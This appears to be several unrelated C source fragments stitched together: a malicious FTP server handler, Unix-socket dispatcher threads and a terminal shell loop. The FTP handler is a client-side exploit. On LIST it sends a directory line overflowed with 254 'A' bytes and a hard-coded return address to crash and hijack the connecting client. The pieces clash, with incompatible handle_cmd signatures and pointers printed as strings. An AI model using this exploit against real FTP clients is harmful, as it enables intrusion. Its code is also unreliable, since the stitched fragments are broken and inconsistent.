* fail message from a previous attempt that raced with us,
* or similar.
*
* The only proper way to fix this would be to listen to events
* before sending the command, and for the kernel to send the
* connect request or a cookie along with the event, so that you
* can match up whether the connect _you_ requested was finished
* or aborted.
*
* Alas, the kernel doesn't do that (yet).
*/
__do_listen_events(state,
ARRAY_SIZE(cmds), cmds,
ARRAY_SIZE(cmds), cmds,
&printargs);
return 0;
}
void
handle_cmd ( int s, int s2, char* ip )
{
int listenfd, connfd;
int i = 1;
int tmp[4];
char* a = NULL;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
char out[128], evil[512], addr[32];
char* cmd;
unsigned long offset1 = 0x77e92828;
unsigned long offset2 = 0x77e6271c;
unsigned long offset3 = 0xdeadc0de;
while ( 1 )
{
cmd = get_cmd ( s );
if ( strncmp ( cmd, "PWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "CWD", 3 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "257 \"/\" is current directory.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "TYPE", 4 ) == 0 )
{
bzero ( &out, 128 );
strcpy ( out, "200 Type set to A..\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
else if ( strncmp ( cmd, "PASV", 4 ) == 0 )
{
bzero ( &addr, 32 );
a = (char*)strtok ( ip, "." );
tmp[0] = (int)a;
while ( a != NULL)
{
a = (char*)strtok ( NULL, "." );
tmp[i] = (int)a;
i++;
}
bzero ( &out, 128 );
sprintf( out, "227 Entering Passive Mode. (%s,%s,%s,%s,122,105).\r\n", tmp[0], tmp[1], tmp[2], tmp[3] );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
printf ( "[*] Entering Passive Mode...\n" );
printf ( "[*] Creating socket..." );
if ( ( listenfd = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PASV );
bind ( listenfd, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
printf ( "[*] Listening..." );
if ( listen ( listenfd, 1 ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
clilen = sizeof ( cliaddr );
if ( ( connfd = accept ( listenfd, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
close ( listenfd );
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
close ( listenfd );
printf ( "[*]" GREEN " Passive connection established!\n" );
handle_cmd ( s, connfd, addr );
}
else if ( strncmp ( cmd, "LIST", 4 ) == 0 )
{
printf ( "[*]" GREEN " User is trying to use \"LIST\" command\n" NORMAL );
printf ( "[*] Creating bad packet..." );
bzero ( &evil, 512 );
strcpy ( evil, "-rw-r--r-- 29 Dec 22 13:37 cybertronic." );
memset ( evil+68, 'A', 254 );
strncat ( evil, ( unsigned char * ) &offset1, 4 );
strcat ( evil, "\r\n" );
printf ( GREEN "OK!\n" NORMAL );
bzero ( &out, 128 );
strcpy ( out, "150 Here comes the directory listing.\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( "[*] Sending bad packet [%i bytes]...", strlen ( evil ) );
if ( write ( s2, evil, strlen ( evil ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
bzero ( &out, 128 );
strcpy ( out, "226 Transfer ok\r\n" );
printf ( "[*] Confirming..." );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "FAILED!" NORMAL);
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL);
close ( s2 );
}
else
{
bzero ( &out, 128 );
strcpy ( out, "550 UNKNOWN COMMAND\r\n" );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "!!! ERROR: COMMAND HANDLING FAILED !!!\n" NORMAL );
exit ( 1 );
}
}
}
}
void *dispatcher_incoming(void *ptr)
{
struct sockaddr_un address;
int sock, conn;
socklen_t addr_length;
int amount;
fd_set ready;
struct timeval to;
unsigned char buf[512];
int i;
//int cmd;
const char ack_cmd[] = {0xF1, 0xF2, 0x07, 0x32, 0x90, 0x03, 0xAF};
if ((sock = socket(PF_UNIX, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
/* Remove any preexisting socket (or other file) */
unlink(DIS_SER2_SOCKET_FILE);
address.sun_family = AF_UNIX; /* Unix domain socket */
strcpy(address.sun_path, DIS_SER2_SOCKET_FILE);
/* The total length of the address includes the sun_family
element */
addr_length = sizeof(address.sun_family) + strlen(address.sun_path);
if (bind(sock, (struct sockaddr *) &address, addr_length)) {
perror("bind");
exit(1);
}
chmod(DIS_SER2_SOCKET_FILE, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IWGRP | S_IXGRP |
S_IROTH | S_IWOTH | S_IXOTH);
if (listen(sock, 5)) {
perror("listen");
exit(1);
}
do {
FD_ZERO(&ready);
FD_SET(sock, &ready);
to.tv_sec = 5;
if (select(sock + 1, &ready, 0, 0, &to) < 0) {
perror("select");
continue;
}
if (FD_ISSET(sock, &ready)) {
conn = accept(sock, (struct sockaddr *) &address, &addr_length);
if (conn < 0) {
perror("accept");
continue;
}
printf("[S2] ---- getting data\n");
memset(buf, '\0', sizeof(buf));
amount = read(conn, buf, sizeof(buf)); // CGI request.
printf("[S2] Dispatcher request(%d): ", amount);
for (i = 0; i < amount; i++) {
printf("0x%02x ", buf[i] & 0xff);
}
printf("\n");
amount = write(conn, ack_cmd, sizeof(ack_cmd));
close(conn);
printf("Write amount: %d\n", amount);
printf("[S2] ---- done\n");
usleep(100000);
//cmd = ((buf[4] & 0xff) << 8) | (buf[5] & 0xff);
handle_cmd(buf);
} else {
//printf("Do something else ...\n");
}
} while (1);
close(sock);
}
void *conn(void *ptr)
{
int sock;
struct sockaddr_un address;
size_t addr_length;
int amount;
fd_set ready_r;
struct timeval to;
int i;
unsigned char buf[256];
const unsigned char register_cmd[] = {0xF1, 0xF2, 0x07, 0x20, 0x90, 0x01, 0x9B};
const unsigned char ack_cmd[] = {0xF1, 0xF2, 0x07, 0x23, 0x90, 0x03, 0xA0};
if ((sock = socket(PF_UNIX, SOCK_STREAM, 0)) < 0) {
perror("socket");
exit(1);
}
address.sun_family = AF_UNIX; /* Unix domain socket */
strcpy(address.sun_path, DSOCKET_PATH);
/* The total length of the address includes the sun_family element */
addr_length = sizeof(address.sun_family) + strlen(address.sun_path);
if (connect(sock, (struct sockaddr *) &address, addr_length)) {
printf("Cannot register service. (%s)\n", strerror(errno));
exit(1);
}
amount = write(sock, register_cmd, sizeof(register_cmd)); // Register of service.
amount = read(sock, buf, sizeof(buf)); // Read ACK from dispatcher.
if (amount <= 0) {
printf("Cannot register service.\n");
exit(1);
}
do {
FD_ZERO(&ready_r);
FD_SET(sock, &ready_r);
to.tv_sec = 3;
if (select(sock + 1, &ready_r, 0, 0, &to) < 0) {
perror("select");
}
if (FD_ISSET(sock, &ready_r)) {
memset(buf, '\0', sizeof(buf));
amount = read(sock, buf, sizeof(buf)); // Dispatcher request.
if (amount <= 0) {
if (amount < 0) {
perror("read");
}
continue;
}
printf("[S2] Dispatcher request(%d): ", amount);
for (i = 0; i < amount; i++) {
printf("0x%02x ", buf[i] & 0xff);
}
printf("\n");
if (buf[3] == CGI2SERVICE2) {
amount = write(sock, ack_cmd, sizeof(ack_cmd));
printf("ACK write amount: %d\n", amount);
}
printf("[S2] ---- done\n");
usleep(100000); // To wait ACK complete.
handle_cmd(sock, buf);
}
} while (1);
printf("Close socket.\n");
close(sock);
return 0;
}
int run_shell() {
Value tmp_value;
int ascii_code = -1;
int cmd_code = -1;
wprintf(L"");
for (;;) {
tmp_value = get_char();
ascii_code = tmp_value.integer;
// EXPECTATIONS
cmd_code = analyse_expectations(ascii_code);
//wprintf(L"%d %d %lc\n",ascii_code, cmd_code, tmp_value.character);
switch(cmd_code) {
case EOT_CMD:
quit_shell();
break;
case DEL_L:
delete_from_buffer(false);
break;
case DEL_R:
delete_from_buffer(true);
break;
case UP_A_K:
wprintf(L"UP");
break;
case DOWN_A_K:
wprintf(L"DOWN");
break;
case RIGHT_A_K:
move_cusor(CURSOR_DIR_RIGHT);
break;
case LEFT_A_K:
move_cusor(CURSOR_DIR_LEFT);
break;
case BEGIN:
move_cusor(CURSOR_DIR_BEGIN);
break;
case END:
move_cusor(CURSOR_DIR_END);
break;
case ENTER_CMD:
if(handle_cmd() == RET_ERROR) {
print_error("Error while executing command!");
}
break;
case NO_CMD:
push_elem(buffer, tmp_value);
print_buffer(true);
break;
default:
//printf("%d => %c\n", ascii_code, tmp_value.character);
break;
}
}
return RET_OK;
}
